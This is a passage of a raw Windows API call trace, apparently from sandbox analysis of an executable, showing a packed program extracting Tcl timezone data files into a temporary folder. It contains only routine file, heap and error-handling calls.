CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.855] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Volgograd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\volgograd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.855] GetFileType (hFile=0x10c) returned 0x1 [0042.856] htonl (hostlong=0x11080000) returned 0x811 [0042.856] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.856] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x811, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x811, lpOverlapped=0x0) returned 1 [0042.857] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.857] CloseHandle (hObject=0x10c) returned 1 [0042.857] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.857] htonl (hostlong=0x30000000) returned 0x30 [0042.857] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.857] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.857] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.857] GetFileType (hFile=0x10c) returned 0x1 [0042.857] htonl (hostlong=0x20bd5c00) returned 0x5cbd20 [0042.857] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x616d20, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.857] htonl (hostlong=0xda060000) returned 0x6da [0042.857] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6da) returned 0x55e278 [0042.857] htonl (hostlong=0xda060000) returned 0x6da [0042.857] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.857] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.857] htonl (hostlong=0xae200000) returned 0x20ae [0042.857] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20ae) returned 0x561090 [0042.857] htonl (hostlong=0xda060000) returned 0x6da [0042.857] htonl (hostlong=0xae200000) returned 0x20ae [0042.857] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563148 [0042.857] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563148 | out: hHeap=0x530000) returned 1 [0042.858] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.858] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.858] CloseHandle (hObject=0x10c) returned 1 [0042.858] GetLastError () returned 0x0 [0042.858] SetLastError (dwErrCode=0x0) [0042.858] GetLastError () returned 0x0 [0042.858] SetLastError (dwErrCode=0x0) [0042.858] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.858] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.858] GetFileType (hFile=0x10c) returned 0x1 [0042.858] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.858] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.858] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.858] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.858] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.858] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.858] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.858] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.858] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.858] CloseHandle (hObject=0x10c) returned 1 [0042.858] GetLastError () returned 0x0 [0042.858] SetLastError (dwErrCode=0x0) [0042.858] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.858] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.859] GetFileType (hFile=0x10c) returned 0x1 [0042.859] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.859] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.859] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.859] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.859] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.859] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.859] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.859] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.859] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.859] CloseHandle (hObject=0x10c) returned 1 [0042.859] GetLastError () returned 0x0 [0042.859] SetLastError (dwErrCode=0x0) [0042.859] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.859] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.859] GetFileType (hFile=0x10c) returned 0x1 [0042.859] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.859] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.859] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.859] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.859] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.859] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.859] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.859] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.859] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.859] CloseHandle (hObject=0x10c) returned 1 [0042.860] GetLastError () returned 0x0 [0042.860] SetLastError (dwErrCode=0x0) [0042.860] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Warsaw") returned 70 [0042.860] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Warsaw" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\warsaw"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.860] GetLastError () returned 0x2 [0042.860] SetLastError (dwErrCode=0x2) [0042.860] GetLastError () returned 0x2 [0042.860] SetLastError (dwErrCode=0x2) [0042.860] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Warsaw", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Warsaw", lpFilePart=0x0) returned 0x45 [0042.860] GetLastError () returned 0x2 [0042.860] SetLastError (dwErrCode=0x2) [0042.860] GetLastError () returned 0x2 [0042.860] SetLastError (dwErrCode=0x2) [0042.860] GetLastError () returned 0x2 [0042.860] SetLastError (dwErrCode=0x2) [0042.860] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Warsaw") returned 70 [0042.860] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.860] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Warsaw" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\warsaw"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.860] GetFileType (hFile=0x10c) returned 0x1 [0042.860] htonl (hostlong=0xae200000) returned 0x20ae [0042.860] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0042.861] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.861] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xae, lpOverlapped=0x0) returned 1 [0042.862] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.862] CloseHandle (hObject=0x10c) returned 1 [0042.862] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.862] htonl (hostlong=0x30000000) returned 0x30 [0042.862] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.862] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.862] GetFileType (hFile=0x10c) returned 0x1 [0042.862] htonl (hostlong=0xfac35c00) returned 0x5cc3fa [0042.862] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6173fa, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.862] htonl (hostlong=0x8a000000) returned 0x8a [0042.862] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0042.862] htonl (hostlong=0x8a000000) returned 0x8a [0042.862] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.862] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.862] htonl (hostlong=0xb6000000) returned 0xb6 [0042.862] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb6) returned 0x550600 [0042.862] htonl (hostlong=0x8a000000) returned 0x8a [0042.862] htonl (hostlong=0xb6000000) returned 0xb6 [0042.862] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.862] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.862] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.862] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.862] CloseHandle (hObject=0x10c) returned 1 [0042.863] GetLastError () returned 0x0 [0042.863] SetLastError (dwErrCode=0x0) [0042.863] GetLastError () returned 0x0 [0042.863] SetLastError (dwErrCode=0x0) [0042.863] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.863] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.863] GetFileType (hFile=0x10c) returned 0x1 [0042.863] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.863] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.863] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.863] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.863] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.863] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.863] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.863] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.863] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.863] CloseHandle (hObject=0x10c) returned 1 [0042.863] GetLastError () returned 0x0 [0042.863] SetLastError (dwErrCode=0x0) [0042.863] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.863] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.863] GetFileType (hFile=0x10c) returned 0x1 [0042.863] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.863] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.863] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.864] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.864] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.864] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.864] CloseHandle (hObject=0x10c) returned 1 [0042.864] GetLastError () returned 0x0 [0042.864] SetLastError (dwErrCode=0x0) [0042.864] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.864] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.864] GetFileType (hFile=0x10c) returned 0x1 [0042.864] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.864] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.864] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.864] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.864] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.864] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.864] CloseHandle (hObject=0x10c) returned 1 [0042.864] GetLastError () returned 0x0 [0042.864] SetLastError (dwErrCode=0x0) [0042.865] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Zagreb") returned 70 [0042.865] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Zagreb" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\zagreb"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.865] GetLastError () returned 0x2 [0042.865] SetLastError (dwErrCode=0x2) [0042.865] GetLastError () returned 0x2 [0042.865] SetLastError (dwErrCode=0x2) [0042.865] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Zagreb", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Zagreb", lpFilePart=0x0) returned 0x45 [0042.865] GetLastError () returned 0x2 [0042.865] SetLastError (dwErrCode=0x2) [0042.865] GetLastError () returned 0x2 [0042.865] SetLastError (dwErrCode=0x2) [0042.865] GetLastError () returned 0x2 [0042.865] SetLastError (dwErrCode=0x2) [0042.865] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Zagreb") returned 70 [0042.865] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.865] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Zagreb" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\zagreb"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.865] GetFileType (hFile=0x10c) returned 0x1 [0042.865] htonl (hostlong=0xb6000000) returned 0xb6 [0042.865] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.866] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb6, lpOverlapped=0x0) returned 1 [0042.866] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 